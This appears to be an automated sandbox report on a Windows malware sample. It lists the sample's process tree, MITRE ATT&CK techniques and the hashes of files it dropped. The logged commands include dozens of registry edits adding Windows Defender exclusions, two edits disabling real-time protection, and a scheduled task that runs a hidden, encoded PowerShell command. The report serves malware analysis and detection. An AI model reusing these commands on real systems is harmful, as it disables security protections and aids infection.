"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BJoIZxhjKBkdHsthviR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2104

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BJoIZxhjKBkdHsthviR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LHSdqcBuKngoC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:3064

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LHSdqcBuKngoC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2000

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UxlHwoNwU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2188

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UxlHwoNwU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\sjazJYTbpqVU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2488

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\sjazJYTbpqVU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2536

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wuFoGWqRRrUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2136

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wuFoGWqRRrUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2688

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\JuaokLqPZqziZjVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2720

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\JuaokLqPZqziZjVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:704

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1212

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2596

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ZhTQaFaBDmtyfHbtF" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:436

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ZhTQaFaBDmtyfHbtF" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:636

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gCqgzsIdJleQZgeU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1676

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gCqgzsIdJleQZgeU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1392

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BJoIZxhjKBkdHsthviR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1692

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BJoIZxhjKBkdHsthviR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:616

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LHSdqcBuKngoC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1992

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LHSdqcBuKngoC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2744

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UxlHwoNwU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2248

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UxlHwoNwU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2572

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\sjazJYTbpqVU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2416

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\sjazJYTbpqVU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3024

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wuFoGWqRRrUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2728

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wuFoGWqRRrUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2844

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\JuaokLqPZqziZjVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2796

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\JuaokLqPZqziZjVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1656

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1832

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2280

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ZhTQaFaBDmtyfHbtF" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1948

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ZhTQaFaBDmtyfHbtF" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2432

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gCqgzsIdJleQZgeU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2988

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gCqgzsIdJleQZgeU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1344

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gUTJjTwOS" /SC once /ST 00:57:00 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1552

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gUTJjTwOS"
3⤵
PID:2984

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1760

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2032

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "550698668-1683502963-736435932328737769-1675251541637753213-1386633750-1115799554"
1⤵
- Suspicious use of WriteProcessMemory
PID:880

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2568

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "12188790737244090071381712744-1807076453-2138905475-633344698-202788468888744285"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:1964

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1940

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1403926343-7806287241566983776799372337351786528-100042891114316685811154834167"
1⤵
PID:2608

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
PID:1772

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-101197295910847730131668731263-359482505-1416226680-115634091218823443471914984996"
1⤵
PID:1876

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "725780851859420679-2033116529-1936929730-843800357-9000811463441631621451276074"
1⤵
PID:364

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1703378092-1681755823-19992204031234966900504761869-467015748-19515087141000910390"
1⤵
PID:2836

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1526593665-60152404-1348904388232668005-809723262-1200141558202510571-2086343319"
1⤵
PID:2664

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "242667192-1869648174-1616939900794109136-94377492715098814031161376141-1285246864"
1⤵
PID:896

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-178251208-1327833293-16596706651266247686-675545487544969249-1640103137-52388338"
1⤵
PID:2336

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1089748308640495908-17324304841321056216035930726260300-1331312790249862044"
1⤵
PID:2944

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1447364383-220162972-170363520810814121-82970996244451095618196804941530899300"
1⤵
PID:2672

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-392305481960392991-10208686191718841351-841847155171517811-585347971-1624586202"
1⤵
PID:1508

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
d926174be1d07519170109e548d732f4

SHA1
3199f814ba298f88a8a6a8f068d1ee7454798295

SHA256
7c49f4e6fd86323d18e8da78680f3b6ea6a809315ee7cafa688b26ba6c5bc88b

SHA512
fd5f557f450e4661032e0b7e7f0d93a1f93e7cb7b879b2d3012bd562ff9daaf996211548ad984c5ce2e6770bf1dcacd295bd08514a31d578059675be453380f3

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
efab61fa80ca26815d50f9188e16d01f

SHA1
0f1546a129d1ced472b79d355d77a87e309ce02b

SHA256
2b9f734eae106d8b4e571232485d96c892ed1cd8e99c55b61e24ebef95bdd3f1

SHA512
a01ab44dd22ebfca8fcbc4a7de45754b81e750bf39c700e296253da50044a14112868dc3192cd4928aad930fd8d6388eb59aa0f19b1242f6fe89c2ecc1a27d9f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
058f8aed0fe30019d783a5d4e3098f8f

SHA1
f9e1c6e866a86d79ed5855ec8c6c20dd2c4e93d0

SHA256
e7834c58d6ddc510eab1b919b0a19d3e0f63b78053c77caa735fd9383d97fc1f

SHA512
662bd0e1ecbf03f9c4e64942d7b6a011136d567e45345906c84b2a9e440162bbcb2f461dc66ca875104ca392a99cb79aca9ae9942a872a5142ce91f1b1320b63

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSE437.tmp\Install.exe

Filesize
6.1MB

MD5
d22ba06472faddaa48b6bb80bcf761f9

SHA1
069aca042d98ac64eed4f361dd7a572c52f76521

SHA256
a05eaf2ac5c7f17cda19919344ecc33449d913b2347a0a9afb9ff2eff15414c2

SHA512
4694c5a9407e6e8180dae5957e6d1d723807c04c2bbe3a6928e8d9f267b4488f6bc5b30087d631bca61739162e4c3b91198370a5f96b4df9c61283f9eab30bc1

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSE437.tmp\Install.exe

Filesize
6.1MB

MD5
d22ba06472faddaa48b6bb80bcf761f9

SHA1
069aca042d98ac64eed4f361dd7a572c52f76521

SHA256
a05eaf2ac5c7f17cda19919344ecc33449d913b2347a0a9afb9ff2eff15414c2

SHA512
4694c5a9407e6e8180dae5957e6d1d723807c04c2bbe3a6928e8d9f267b4488f6bc5b30087d631bca61739162e4c3b91198370a5f96b4df9c61283f9eab30bc1

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSE80E.tmp\Install.exe

Filesize
6.9MB

MD5
8e3ebba1a7f99f94053774c0d38b567f

SHA1
9c7ea4eaf485ece7c099ffca6f27c5fe25073ec3

SHA256
48a796c5721b7cf7b4d974aa19bac45f0ddf828dc328010cb7ec67df8018475f

SHA512
a5d8f8ac745d591e90b9d6c619fbba14022ec71146899d6ed8a00159411175aa7b75c8337a3bcf898893d71a300c5381b620f4da3e9d61238d53f33fb2c9e776

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSE80E.tmp\Install.exe

Filesize
6.9MB

MD5
8e3ebba1a7f99f94053774c0d38b567f

SHA1
9c7ea4eaf485ece7c099ffca6f27c5fe25073ec3

SHA256
48a796c5721b7cf7b4d974aa19bac45f0ddf828dc328010cb7ec67df8018475f

SHA512
a5d8f8ac745d591e90b9d6c619fbba14022ec71146899d6ed8a00159411175aa7b75c8337a3bcf898893d71a300c5381b620f4da3e9d61238d53f33fb2c9e776

Download Submit
C:\Users\Admin\AppData\Local\Temp\Broom.exe

Filesize
5.3MB

MD5
00e93456aa5bcf9f60f84b0c0760a212

SHA1
6096890893116e75bd46fea0b8c3921ceb33f57d

SHA256
ff3025f9cf19323c5972d14f00f01296d6d7a71547eca7e4016bfd0e1f27b504

SHA512
abd2be819c7d93bd6097155cf84eaf803e3133a7e0ca71f9d9cbc3c65e4e4a26415d2523a36adafdd19b0751e25ea1a99b8d060cad61cdfd1f79adf9cd4b4eca

Download Submit
C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error

Filesize
8.3MB

MD5
fd2727132edd0b59fa33733daa11d9ef

SHA1
63e36198d90c4c2b9b09dd6786b82aba5f03d29a

SHA256
3a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e

SHA512
3e251be7d0e8db92d50092a4c4be3c74f42f3d564c72981f43a8e0fe06427513bfa0f67821a61a503a4f85741f0b150280389f8f4b4f01cdfd98edce5af29e6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error

Filesize
395KB

MD5
5da3a881ef991e8010deed799f1a5aaf

SHA1
fea1acea7ed96d7c9788783781e90a2ea48c1a53

SHA256
f18fdb9e03546bfb98397bcb8378b505eaf4ac061749229a7ee92a1c3cf156e4

SHA512
24fbcb5353a3d51ee01f1de1bbb965f9e40e0d00e52c42713d446f12edceeb8d08b086a8687a6188decaa8f256899e24a06c424d8d73adaad910149a9c45ef09

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar7B7E.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\ZhTQaFaBDmtyfHbtF\rWZwyvlULFiFahc\PRoZObv.exe

Filesize
6.9MB

MD5
8e3ebba1a7f99f94053774c0d38b567f

SHA1
9c7ea4eaf485ece7c099ffca6f27c5fe25073ec3

SHA256
48a796c5721b7cf7b4d974aa19bac45f0ddf828dc328010cb7ec67df8018475f

SHA512
a5d8f8ac745d591e90b9d6c619fbba14022ec71146899d6ed8a00159411175aa7b75c8337a3bcf898893d71a300c5381b620f4da3e9d61238d53f33fb2c9e776

Download Submit
C:\Users\Admin\AppData\Local\Temp\ZhTQaFaBDmtyfHbtF\rWZwyvlULFiFahc\PRoZObv.exe

Filesize
6.9MB

MD5
8e3ebba1a7f99f94053774c0d38b567f

SHA1
9c7ea4eaf485ece7c099ffca6f27c5fe25073ec3

SHA256
48a796c5721b7cf7b4d974aa19bac45f0ddf828dc328010cb7ec67df8018475f

SHA512
a5d8f8ac745d591e90b9d6c619fbba14022ec71146899d6ed8a00159411175aa7b75c8337a3bcf898893d71a300c5381b620f4da3e9d61238d53f33fb2c9e776

Download Submit
C:\Users\Admin\AppData\Local\Temp\ZhTQaFaBDmtyfHbtF\rWZwyvlULFiFahc\PRoZObv.exe

Filesize
6.9MB

MD5
8e3ebba1a7f99f94053774c0d38b567f

SHA1
9c7ea4eaf485ece7c099ffca6f27c5fe25073ec3

SHA256
48a796c5721b7cf7b4d974aa19bac45f0ddf828dc328010cb7ec67df8018475f

SHA512
a5d8f8ac745d591e90b9d6c619fbba14022ec71146899d6ed8a00159411175aa7b75c8337a3bcf898893d71a300c5381b620f4da3e9d61238d53f33fb2c9e776

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsdC6EA.tmp.exe

Filesize
341KB

MD5
318df4539499b6a6cc3dd52b9d10f291

SHA1
4930c69797928c289f08088005c6d3ef3b6a2f6e

SHA256
ad5f350d15377615735ba45e88298d54bd85ce242e404f9305fa953e6ca20bcd

SHA512
77aa4831bb4676cb4cbbf10b8cad4dcf84f9e2b7672c43891ce03c2adbe019918326394038a0270d462373a7602977471ec7a3b5458d9e1336d2cdac44c5254f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsdC6EA.tmp.exe

Filesize
341KB

MD5
318df4539499b6a6cc3dd52b9d10f291

SHA1
4930c69797928c289f08088005c6d3ef3b6a2f6e

SHA256
ad5f350d15377615735ba45e88298d54bd85ce242e404f9305fa953e6ca20bcd

SHA512
77aa4831bb4676cb4cbbf10b8cad4dcf84f9e2b7672c43891ce03c2adbe019918326394038a0270d462373a7602977471ec7a3b5458d9e1336d2cdac44c5254f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsdC6EA.tmp.exe

Filesize
341KB

MD5
318df4539499b6a6cc3dd52b9d10f291

SHA1
4930c69797928c289f08088005c6d3ef3b6a2f6e

SHA256
ad5f350d15377615735ba45e88298d54bd85ce242e404f9305fa953e6ca20bcd

SHA512
77aa4831bb4676cb4cbbf10b8cad4dcf84f9e2b7672c43891ce03c2adbe019918326394038a0270d462373a7602977471ec7a3b5458d9e1336d2cdac44c5254f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsoC248.tmp\INetC.dll

Filesize
25KB

MD5
40d7eca32b2f4d29db98715dd45bfac5

SHA1
124df3f617f562e46095776454e1c0c7bb791cc7

SHA256
85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

SHA512
5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

Download Submit
C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
C:\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
C:\Users\Admin\Pictures\PP6QxrATY2iSoQm3tJYXaKXj.exe

Filesize
4.2MB

MD5
1821fd5016f5b7a3c27e92aa9a76e936

SHA1
c734c5a67b9ec088bc461a57ff632ec0b9e733b1

SHA256
78ef70d176519bc06246b5f457f7b7f6203d3e188d53c6b0d81f2e490c2cb32c

SHA512
23b2ccde940c7cff0e476e053bdf43156d071f3752bf979f1a7db0a36e2c8da1a3c35adb83a07d43bb452761174869d3636eb619fc33de0f8642ffd8cdfd85b2

Download Submit
C:\Users\Admin\Pictures\PP6QxrATY2iSoQm3tJYXaKXj.exe

Filesize
4.2MB

MD5
1821fd5016f5b7a3c27e92aa9a76e936

SHA1
c734c5a67b9ec088bc461a57ff632ec0b9e733b1

SHA256
78ef70d176519bc06246b5f457f7b7f6203d3e188d53c6b0d81f2e490c2cb32c

SHA512
23b2ccde940c7cff0e476e053bdf43156d071f3752bf979f1a7db0a36e2c8da1a3c35adb83a07d43bb452761174869d3636eb619fc33de0f8642ffd8cdfd85b2

Download Submit
C:\Users\Admin\Pictures\PP6QxrATY2iSoQm3tJYXaKXj.exe

Filesize
4.2MB

MD5
1821fd5016f5b7a3c27e92aa9a76e936

SHA1
c734c5a67b9ec088bc461a57ff632ec0b9e733b1

SHA256
78ef70d176519bc06246b5f457f7b7f6203d3e188d53c6b0d81f2e490c2cb32c

SHA512
23b2ccde940c7cff0e476e053bdf43156d071f3752bf979f1a7db0a36e2c8da1a3c35adb83a07d43bb452761174869d3636eb619fc33de0f8642ffd8cdfd85b2

Download Submit
C:\Users\Admin\Pictures\PP6QxrATY2iSoQm3tJYXaKXj.exe

Filesize
4.2MB

MD5
1821fd5016f5b7a3c27e92aa9a76e936

SHA1
c734c5a67b9ec088bc461a57ff632ec0b9e733b1

SHA256
78ef70d176519bc06246b5f457f7b7f6203d3e188d53c6b0d81f2e490c2cb32c

SHA512
23b2ccde940c7cff0e476e053bdf43156d071f3752bf979f1a7db0a36e2c8da1a3c35adb83a07d43bb452761174869d3636eb619fc33de0f8642ffd8cdfd85b2

Download Submit
